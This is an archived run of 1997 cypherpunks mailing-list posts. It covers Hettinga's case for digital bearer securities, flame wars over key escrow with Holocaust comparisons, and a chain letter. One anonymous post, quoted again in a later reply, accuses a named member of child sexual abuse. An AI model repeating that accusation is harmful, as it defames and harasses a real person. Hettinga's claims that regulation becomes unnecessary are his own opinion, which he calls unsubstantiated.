> may well want to farm out this secondary market processing but I don't
> think transaction agents will offer that service for nothing.

In my example, they're selling the exaust, the pricing information they
collect. New information is always more important than old information in a
geodesic market, right? I say that secondary market transaction costs are
still inconsiderable, for the most part.

> Also because
> no one has critical mass for a clearing service I the investor end up
> paying over the top.

I think that you're looking at a world where there are economies of scale,
here. As I said elsewhere, that "critical mass" continues to get smaller
and smaller, particular in "switching" activities like trade clearing. One
of my many groundless claims about all this is that the transfer price
inside operating units of larger entities converges toward the market price
between small independant entities. Exactly the opposite of what happens in
industrial communications networks. Cf. all my various rants on Moore's Law
and geodesic networks. The upshot is that organazitions map to their
communication structures, and hierarchical, economies-of-scale markets and
organizations don't work in that kind of world.

> I also don't think it's more efficient for investors
> to pay transaction agents for the resulting price information - again if I
> am a global investor I don't want to pay for hundreds of different price
> feeds.   Again you can see information agents entering the market but this
> is simply what we have today.

Yes, but the information is ubiquitous, and, of course, it's distributed
geodesically. Anybody with a reasonably fast machine can purchase pricing
from all those places, or even a reasonable statistical sample, and
"publish" that information. More to the point, people with new pricing
information will probably auction it off on a non-exclusive basis. Remember
Cronk's geodesic information auction talk during the rump session in
Anguilla? People with the most to gain from the newest information, pay the
most for it, usually because they resell it to others, but also because
they might need it to trade with.

> 'the operating costs of exchanging certificates for the secondary market is
> minimal'.  Certainly it could be cheaper than it is today but minimal costs
> rely on the counterparties applying simultaneously and there being no
> hitches on the authentication.

Of course. "Assume a frictionless surface", and all that. However, just
because the mathematics of the situation varies slightly from reality,
doesn't mean that it's wrong. Physics versus Engineering. Frankly, I think
that "no hitches in the authentication", being the most important business
necessity for the underwriter, will have to be be the *first* thing to
work. :-).  Fortunately, that's not too difficult a problem with these
cryptographic protocols.

In addition, the operative clause in your sentence above is "certainly it
could be cheaper than it is today". If it's "cheap" enough, and that is yet
another unsubstantiated claim of mine requiring actual data :-), then it's
good enough to use. H1 replaces H0, in statistical parlance.

> How could investors sell short?

Same way they do now. By borrowing certificates from somebody, and paying
the lender back with others. If the borrower doesn't pay those certificates
back, it's reputation "capital punishment".

> How would
> the clearer cope with back to back trades?  How can we ensure that this
> technology is standard so that investors don't have to deal differently
> with each clearer?

See above. With a standard protocol. The internet is one big standard
protocol, right?


> I don't think your argument about seven years of audit trails etc is
> focused on net v book entry settlement but rather on the structure of the
> industry as it stands. The seven years of audit trails could stand equally
> in the new world since regulators might demand it (say they want to
> investigate a fraud) and you want some minimal regulation (do you worry
> about market manipulation for example?).

See <http://www.braintennis.com/> Suppose you could punish someone without
needing the physical force of a nation state to do it. Reputation is
orthogonal to identity in cypherspace. The ultimate sanction in a geodesic
market is the loss of one's reputation. It's equivalent to capital
punishment, because no one will ever trade with you again. And, the most
important point, that reputation adheres to your digital signature, not
your physical person. Biometric identity, audit trails, etc., are no longer
necessary. So, if you can have non-repudiation through cryptographic
protocol (to keep the trades from breaking, and, more to the point, to make
them settle instantly) and reputation (to keep people from defrauding you),
*what* exactly do you need market "regulation" for?


> You could certainly simplify the
> current structure ie eliminate custodians, eliminate brokers, merge
> exchange and clearinghouse. But even with this new technology you would
> need to be able to reconcile your holdings against the underwriter (human
> error doesn't go away) and the underwriter has to keep an account of the
> holdings for dividend/coupon purposes.

Not if the coupons are actual certificates. For a bond and its coupons, you
just issue a bundle of bearer certificates comprising the coupons and the
principal. You could even "strip" them apart and sell them idividually in a
secondary market, if you can find someone to buy them. :-). At redemption
time, it would be just as if someone mailed in the little coupon they
clipped off a paper bearer bond, only I send them digital cash, instead of
a check. Don't need to know, or care, who they are. It's cheaper that way.

For dividends, there are lots of different zero-knowlege cryptographic
proofs that you can run using a digital bearer stock certificate, as the
"information" that you want to prove you have. (See Bruce Schneier's
"Applied Cryptography", 2nd ed., for this.) I call a dividend, people send
me a hash (or something) of the certificate to prove they have it, and I
send them digital cash in a message encrypted to them alone. Dividend paid,
all on a bearer basis. You can do the same kind of thing for proxies, too.
Yes, there are anonymous voting schemes. Welcome through the looking glass,
Alice.

> Finally, I'd like to understand how the investor gets best execution
> (agreed that he isn't getting it at the moment).  How does your investor
> know he is getting best price?

Because he's picking the seller out of the equivalent of an open-outcry market.

> How much structure will you impose?

The market imposes structure on itself. Economic reality is not optional.
Reality dictates politics, not the other way around.

> What is
> a more efficient way of providing price information and price history?

The most "efficient" way is the market's way. You know that. The more
information you put into a market, the more efficient it is, modulo
psychology, like motl^h^h^h^h greater fool theories, which we really can't
do anything about, anyway.

> PS I've been reading The House of Morgan (history of JP Morgan, Morgan
> Grenfell, Morgan Stanley etc) over the weekend.  Although it is difficult
> to find the right balance, it is a useful reminder of the dangers and costs
> of unrestrained, unregulated capital and how we ended up with the today's
> regulatory structures.

I used to be a clerk at Morgan Stanley. My first job out of college. I read
HOM about 5(?) years ago, after it came out.

I read the book the same way you did, until I discovered this financial
cryptography / geodesic market stuff. Now I see all that stuff completely
differently. Morgan was "integrative", because that's the way
communications technology was organizing things, into larger and larger
hierarchies. I consider myself "disintegrative", because that's the way
communications technology is organizing things, "surfacting" them into
smaller and smaller entities on a ubiquitous geodesic market-network.


By the way, my favorite J. Pierpont Morgan story is at the front of the
book, where they haul him in front of Congress, after saving the US economy
three(?) times and filling the mint twice(?), primarily because he has more
money and financial power than God. :-). They ask him what is the most
important thing to have to be a banker. His answer: Character. Something
like, "Character. I wouldn't buy anything from a man with no character if
he offered me all the bonds in Christendom."

That's why we didn't need regulation in the original paper-based,
instant-settled bearer certificate financial markets, the buttonwood tree
on Wall Street, or the coffeehouse called Lloyd's, or a bunch of merchants
in the City. Reputation ("Character") was good enough. It was a financial
actor's most precious asset. Things changed from that, to the hierarchical,
book-entry world we have today, because we needed to communicate long
distances and had only humans to switch the information around. The
technology you saw in Anguilla is about to change all that.

I'll make one or my famous wild-eyed claims here, and say that the *only*
reason we need market "regulation" is because our industrial communications
technology required us to use book-entry settlement, which in turn required
the force of nation-states to ensure non-repudiation.

We don't need information hierarchies, much less book-entry settlement,
anymore.


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/



----------
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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 1 Apr 1997 18:03:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: [URGENT] Zero-knowledge commit
Message-ID: <199704020203.VAA31255@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May prefers to have sex with little kids because his own penis is 
like that of a three-year-old.

  ! !
  - -
  * * Timmy May
 ( < )
   o





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Apr 1997 23:24:45 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
In-Reply-To: <199704012345.PAA23018@fat.doobie.com>
Message-ID: <19970401232220.31194@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote:

[cliche-ridden political babble deleted]

>   No matter what lengths the government goes to to infringe
> on basic human rights, there will always be individuals and
> corporations fighting over who gets to profit from the actions,
> all the while claiming, "We don't put them in the ovens, we
> just turn on the gas."

Oh, we're to the death camps, are we?  I guess that counts as 
invoking Hitler.

>   Do corporations have more rights than the citizens?
>   That depends entirely on the citizens.
>   
> TruthMonger
> "We have met the enemy, and he is Kent."

Actually, you don't have a clue what I think, what my motives 
are, or what I favor.  Awareness of reality is the first requirement 
for sanity.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Date: Tue, 1 Apr 1997 21:29:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: q.N
Message-ID: <3341EDD0.99@mexred.net.mx>
MIME-Version: 1.0
Content-Type: text/plain








	To whom it may concern:





	My name is Nadeshda Vargas Stepanenko, I`m  a Law Student from Mexico

City and I`m writing this letter because in one of my classes I was

asigned to do a discertation on what can be done to control the Internet

in relation to it`s content and use, to protect the public at large

using the methods to protect your privacy.  I have found a lot of

information of these servidors, but the reason to write this e-mail is

for asking some questions about the subject:





	1) It would be convenient to legislate this methods?



	2) You can use them, for example, in Mexico?



	3) Do you think it would be necessary to create an International

Association for solving the problems in the Internet?



	4) What do you think about legislation of the Internet, and how the

lawyers may resolve these situations?





	I would be very thankful if you send me only a briefly opinion about

this questions, it is very important for me because it is not an easy

job.



                                    




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 1 Apr 1997 20:48:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Value Added Marketspace Model -- The Paper
Message-ID: <v03020970af6791db7e0e@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 1 Apr 1997 21:58:01 +0000
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Value Added Marketspace Model -- The Paper


I've put my never to be finished paper on the value added marketspace
model, which I briefly described at FC97, on the WEB at
http://purple.reddesign.com/vam.html .  It is rough, but so were the roads
in Anguilla.


R. Jason Cronk
rjasonc@pobox.com


----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 00:10:51 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <199704020022.QAA24113@fat.doobie.com>
Message-ID: <19970402000825.61388@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 01, 1997 at 04:22:01PM -0800, Huge Cajones Remailer wrote:
> Kent Crispin dribbled syphlyrically:
>  
> > Like it or not, businesses like -- no, *need* -- key escrow -- company
> > secrets can't go down the drain because someone gets hit by a truck.
> 
>   An exact quote from some of your earlier posts.
>   Are you working from a cheat-sheet?
>   Is someone _telling_ you what to say?
>   Are they holding your kids hostage and _making_ you say this?
>   Is it time for Big Brother to hire some fresh writers?

Not my best prose, for sure.  But it is a reflection of sentiments I 
have seen expressed by people in business.

I'm not working from a cheat sheet.  No one is telling me what to say. 
Just like you, I am too totally inconsequential to make it worth
anyone's time to try to make me say anything. 

I am not in favor of GAK, either.  When I talk about companies wanting
key escrow I am speaking from observation, not ideology.  It's sad
that a mailing list that purports to be a bastion of free thought
harbors so many closed minds -- people who don't have the faintest
idea about my beliefs fall all over themselves jumping to conclusions,
apparently because they have become so conditioned to certain
buzzphrases that they no longer think. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 1 Apr 1997 21:15:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: tiggers
Message-ID: <199704020515.AAA13413@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Before reading the rest of this message make a wish.

               __  _-==-=_,-.     The wonderful things aboutTiggers
              /--`' \_@~@.--<     Is Tiggers are wonderful things.
              `--'\ \  <___/.      Their tops are made out of rubber,
\                   \\   " /       Theirbottoms are made out ofsprings.
                    >=\\_/`<      They're bouncy, trouncy,
        ____       /= |  \_/      Flouncy, pouncy,
      _'    `\   _/=== \__/       Fun, fun, fun, fun, fun!
      `___/ //\./=/~\====\        But the best thing about Tiggers is
          \   // /   | ===|       I'm the only one!
           |  ._/_,__|_ ==|        __
           \/    \\ \\`=-|       / \\
             |    _     \\|      /==|-\
            `.__' `-____/       |--|==|
               \    \ ===\      |==|`-'
               _>    \ ===\    /==/
               /==\   |  ===\__/--/
              <=== \  /  ====\ \\/
              _`--  \/  === \/--'
             |       \ ==== |
              -`------/`--' /
                      \___-'


  *If you read this on a Sunday, wish for a  really fun week
  *If you read this on a Monday, wish for money
  *If you read this on a Tuesday, wish for love
  *If you read this on a Wednesday, wish for success
  *If you read this on a Thursday, wish for anything you want
  *If you read this on a Friday, wish for a really hot date
  *If you read this on a Saturday, wish for an important phone call

Send this to seven people (after you  make a wish).  Make sure it is
mailed as soon as you read it or your  wish  won't come true.
REMEMBER, make a WISH, send this letter (and hope it happens)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 2 Apr 1997 05:43:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sabotaging Big Brother...
In-Reply-To: <19970401232220.31194@bywater.songbird.com>
Message-ID: <199704021343.FAA10480@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully:

|Oh, we're to the death camps, are we?  I guess that counts as 
|invoking Hitler.

Hitler can serve as an excellent example of the outcomes
of the steps you advocate.

>Actually, you don't have a clue what I think,
>what my motives are, or what I favor.
>Awareness of reality is the first requirement for sanity.

What banal nonsense is this?
"Awareness of reality is the first requirement 
for sanity."

The awareness of the Gulag, the Deathcamps,
Japanese internment, Joe McCarthy? 

These things are real! Not part of the
political science theory-jargon you spew!

These realities _happened_ and were all justified
by their particular sponsors. 

TruthMonger

...

Let's try this theory:

"Extremism in the defense of Liberty is no vice. And...
moderation in the pursuit of justice is no virtue."

BG 1964




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 2 Apr 1997 06:31:24 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [URGENT] Zero-knowledge commit
In-Reply-To: <199704020203.VAA31255@dhp.com>
Message-ID: <Pine.A41.3.95.970402072818.99144A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 1 Apr 1997, lucifer Anonymous Remailer wrote:

> Timmy May prefers to have sex with little kids because his own penis is 
> like that of a three-year-old.
> 
>   ! !
>   - -
>   * * Timmy May
>  ( < )
>    o
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 2 Apr 1997 06:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Geodesic Warfare: The Mesh and the Net
Message-ID: <v03020904af681a1b2d85@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Anthony Templar took the text file I had of

                          THE MESH AND THE NET

                    Speculations on Armed Conflict in
                          a Time of Free Silicon

                            MARTIN C. LIBICKI

                              McNair Paper 29

                                March 1994

                INSTITUTE FOR NATIONAL STRATEGIC STUDIES
                       NATIONAL DEFENSE UNIVERSITY
                               Washington, D.C.

 bashed it quite nicely into HTML, and parked it at
<http://www.shipwright.com/meshnet.html>.


Somebody put a pointer to the original site -- which I have since lost --
on cypherpunks a couple of years ago, and I downloaded the text version,
then, thinking that I would have a copy of my own if it was ever taken off
the net. Altavista was just getting started at the time, and, like a
turn-of-the-century British dancehall character named Archie (the namesake
for World War I antiaircraft fire), Altavista was busy looking up the dress
of every website it could find, and telling everyone what it saw. :-). No
telling when stuff would go away, especially after the webmasters' bosses
found out about it.

It dawns on me that both comic book and internet protocol Archies were
aptly named, in hindsight...


Anyway, thanks to Anthony for doing such a nice job on what looks like a
65-page paper. It's about 250k+ in size.

Its e$ relevance, of course, is, what happens if there's a cash settled
market for force, and these increasingly smaller, autonomous, networked
weapons auction their services in that market? Also, the paper talks about
how these weapons could be used to effectively defend very small pieces of
ground, certainly at the level of your average suburban house. Personal
warfare?  The Swiss, the original Icelanders, and the pre-British Irish
must be smiling somewhere.

Lions and Tigers and Bears.

Oh, my.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 2 Apr 1997 10:55:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
Message-ID: <199704021855.KAA19208@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Tue, Apr 01, 1997 at 03:45:47PM -0800, "TruthMonger" wrote:
> 
> >   No matter what lengths the government goes to to infringe
> > on basic human rights, there will always be individuals and
> > corporations fighting over who gets to profit from the actions,
> > all the while claiming, "We don't put them in the ovens, we
> > just turn on the gas."
> 
> Oh, we're to the death camps, are we?  I guess that counts as
> invoking Hitler.

  ...or how Native Americans who died on the Trail of Tears
*really wanted* to go for a walk in the country?

> > TruthMonger
> > "We have met the enemy, and he is Kent."
 
> Actually, you don't have a clue what I think, what my motives
> are, or what I favor.  Awareness of reality is the first requirement
> for sanity.

  The reality is, dropping the .gov sig-reference _doesn't_ count
as 'devoking' Clinton.
  And given the muddled nature of your thinking on key escrow, I'm
not sure whether either one of us has a clue as to what you think.
  As far as your motives go, that's a matter between you and the
Cosmic Muffin. The road to Key Escrow is paved with good intentions.
(All of the Chinese got used up building the railroads.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 10:26:30 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <3342A4EF.5534@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> On Wed, Apr 02, 1997 at 12:03:27AM +0100, Adam Back wrote:
> > "Entrust" is a company Kent has been quoting to
> > us in a long running thread on cpunks, as an example of how companies
> > really want "key-escrow".
> 
> Just so things are clear, the reasoning is as follows:
>         1) Entrust provides a product that includes enterprise
>         key escrow.
>         2) <useless redundancy>
>         3) The point of my posting it was to illustrate
>         that industry perceives a market.
>         4) Entrust is a product I happen to be familiar with.  You go
>         to "security" trade shows and you see other companies as
>         well.

Kent, 
  You should try to refrain from embarassing yourself by referring
to the above as "reasoning".
  I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, 
who appear to think that compromises on privacy and freedom lead to 
yellow stars and barbed-wire fences.
  
 
  Now, if you could just give us similar examples to illustrate 
how the burdgeoning market for Zyklon-B showed that corporations
*really wanted* the Holocaust...
  Or how the Allied POW's in the Battan Death March *really wanted* 
to go for a walk in the country...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 12:35:23 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <19970402123257.39010@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 02, 1997 at 12:26:55PM -0600, Toto wrote:
[...]
> 
> Kent, 
>   You should try to refrain from embarassing yourself by referring
> to the above as "reasoning".

Obviously, I embarass easily.

>   I'm of a like mind with Bill Stewart and Dr. Robert's, or whoever, 
> who appear to think that compromises on privacy and freedom lead to 
> yellow stars and barbed-wire fences.

Do you work for a living?

>   Now, if you could just give us similar examples to illustrate 
> how the burdgeoning market for Zyklon-B showed that corporations
> *really wanted* the Holocaust...

Hitler again.  You lose.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Apr 1997 13:03:04 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Sabotaging Big Brother...
In-Reply-To: <19970401232220.31194@bywater.songbird.com>
Message-ID: <19970402130029.37644@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 02, 1997 at 05:43:33AM -0800, Huge Cajones Remailer wrote:
> At 11:22 PM 4/1/97 -0800, Kent wrote thoughtfully:
> 
> |Oh, we're to the death camps, are we?  I guess that counts as 
> |invoking Hitler.
> 
> Hitler can serve as an excellent example of the outcomes
> of the steps you advocate.

Hitler again.  Must be a rookie.

> >Actually, you don't have a clue what I think,
> >what my motives are, or what I favor.
> >Awareness of reality is the first requirement for sanity.
> 
> What banal nonsense is this?
> "Awareness of reality is the first requirement 
> for sanity."
> 
> The awareness of the Gulag, the Deathcamps,
> Japanese internment, Joe McCarthy? 

No, I had in mind the reality of cold water, the wind, the ground you
walk on.  You know -- real reality.  You lose touch with that, you are
in bad shape, wouldn't you agree?  Likewise, making wild assumptions 
about what people think or believe frequently leads to inappropriate 
behavior. 

> These things are real! Not part of the
> political science theory-jargon you spew!

????  Political science ????  As far as I know, I haven't said a single 
thing about political science.

> These realities _happened_ and were all justified
> by their particular sponsors.

Granted.  And your point is?

> Let's try this theory:
> 
> "Extremism in the defense of Liberty is no vice. And...
> moderation in the pursuit of justice is no virtue."

The one I worry about is stupidity in pursuit of extremism.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 2 Apr 1997 10:43:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hettinga rants in Cleveland at 3PM on WERE
Message-ID: <v0302091daf685558ebaf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Kevin Miller, a talk show host in Cleveland, is going to have me on his
local radio show at 3PM EST today to talk about e$, geodesic
markets/societies, strong crypto, digital bearer securities, and anything
else I can dream up. :-).

For those of you in Cleveland, the radio station is WERE, and I don't know
whether it's AM or FM.

Evidently, he also has a national radio show, with a simulcast (? could be
a tape to realaudio thing, though) on the net. I'm going to be on *that*,
also live, at 8PM tomorrow night.

More details as I know them.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 12:30:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
In-Reply-To: <199704021718.JAA01051@crypt.hfinney.com>
Message-ID: <3342BBDB.3830@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> There are two somewhat related technologies being discussed here, as Kent
> lists: key escrow and multiple encryption. 
> 
> However, as Tim points out, really both approaches can be adapted to
> a Big Brother situation.  If the government can force you to escrow
> your keys, it could equally well force you to encrypt to the FBI as an
> additional recipient. 

   Key escrow amounts to both and more. In escrowing your keys, you are
doing so to the FBI, the CIA, the Department of Agriculture, Social
Services, the janitor at the Key Escrow holding facility, etc.

   Should we put our faith in the 'good intentions' claimed by those
promoting key escrow?
   Talk to the grandmothers whose cars were confiscated because their
dear grandson left a roach in the ashtray, under authority of the laws
that were supposed to thwart drug kingpins. 
   Key escrow is needed so that grandmothers of the future, plugging
the parking meters of strangers with eCa$h, cannot escape prosecution
by using encryption.
 
>  I see
> supporting multiple recipients in the way outlined above as being an
> effort to *avoid* building "big brother inside".  Otherwise key escrow
> is what many employees are going to get.  If other people don't see it
> that way, I'd like to know.

   In lean econonomical times, employees tend to get whatever they are
given...end of story.
   If the employees are to get something other than Big Brother type
of control over their work-lives, then it is up to those such as the
CypherPunks and others who value privacy to promote viable options
for corporations to choose from in the security area.

   If the only security options that a corporate manager has is no
control or total control, then there will be those who will be forced
by circumstances to opt for the latter, regardless of whether they
find it personally distasteful.
   Indeed, members of the Tim C. May Corporate Sabatoge Revolutionary
Committee may well find that they can sabatoge the government's evil
intentions without harming their employer's position, merely by
making an effort to ensure that their company's product gives the
undercover Human Rights agents that have infiltrated corporate
management an option to choose a product that they can customize
with a view toward maintaining both company security and employee
privacy.

  Let's face it, the government will roll over anyone who is unarmed,
and have Kent issue a press release suggesting that the citizens were
crying out for tank-tread marks on their backs.
  The solution is to provide as many workable products/solutions as
possible for those who feel a need for encryption, so that they may
customize their use of it according to their own inclinations and
level of conscience.
  The government always seems to have extra munitions on hand to
give to would-be dictators, it is up to disorganizations such as
the CypherPunks to make certain that the citizens have the 
opportunity to arm themselves, as well.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 12:31:15 -0800 (PST)
To: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto
In-Reply-To: <970402101906.20605156@hobbes.orl.mmc.com>
Message-ID: <3342BDDE.5318@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security wrote:
> 
> Personally think these proposals are "fliers", things so bad that the
> radicals will get hung up on elements the gov could really care less about.
> Tricky part is to pick out what complies with the *real* agenda.

  Sounds like you got caught 'bending over' in the past, and learned
from the experience.
  How about a law that requires all politicians to speak through an
interpreter? Say, Howard Stern? (Only because Lenny Bruce is dead.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 2 Apr 1997 13:03:07 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <3342C920.3233@sk.sympatico.ca>
